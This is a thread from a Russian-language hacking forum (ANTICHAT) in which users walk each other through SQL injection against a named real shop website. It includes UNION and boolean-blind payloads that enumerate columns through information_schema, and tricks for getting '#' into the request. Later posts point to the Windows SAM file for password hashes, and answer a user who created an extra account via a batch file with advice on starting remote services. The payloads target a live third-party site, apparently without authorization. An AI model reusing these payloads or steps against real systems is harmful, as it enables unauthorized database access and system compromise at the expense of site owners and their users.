ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Обычное внедрение SQL-кода в запрос:

Можно просто сделать так:

Советую обратиться к документации MySQL.

Что-то не получается вывести так версию БД

Покажи запрос полностью.

http://aqua-st.ru/catalog/102%20order%20by%201#

http://*******.ru/catalog/102)and(0)=(1)union(select(1),2,3)#

Если твой браузер не отправляет в запросах символ '#', используй сниферы с возможностью изменения запросов на лету (в Charles - Ctrl+Shift+W, Rules, Type=Path, Match=^(.*)$, Replace=$1#)

Число столбцов подбирать придется вручную. Возможно, я ошибаюсь, но их не менее 999

upd:

Все-таки ошибся.

При правильном количестве столбцов ошибки в запросе

больше нет. Но она есть во втором запросе

Как видно из второго запроса, он вызовет ту же ошибку, поэтому софт пропустил правильное количество при прямом переборе.

Использовать union не получится. Только как слепую крутить.

Столбцов, как оказалось, 27.

102)and(1)=if(((select(count(*))from(information_s chema.columns)where(table_name=0x70726F6475637473) and(table_schema=database()))>26),1,0)#

true

102)and(1)=if(((select(count(*))from(information_s chema.columns)where(table_name=0x70726F6475637473) and(table_schema=database()))>27),1,0)#

false

# - %23

% - %25

Это надо запомнить, и не мучиться с Charles(В большинстве случаев).

Че правда так можно? Не обманываешь?

Ты пример посмотри. Там не в параметрах инъекция.

Пароли от учетных записей в нынешних операционных системах не хранятся. Найти можно только hash пароля. Если тебе нужен hash пароля учетной записи то он в windows хранится в SAM файле. Тебе в system32.

я второго юзера через батник сделал, но всёравно спасибо)

можно какнибудь запустить службу удаленного управления компьютером через встроеную в всо консоль?

ну если у тебя получилось запустить батник, почему бы и не запускать службы ?

net start "имя службы"

__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.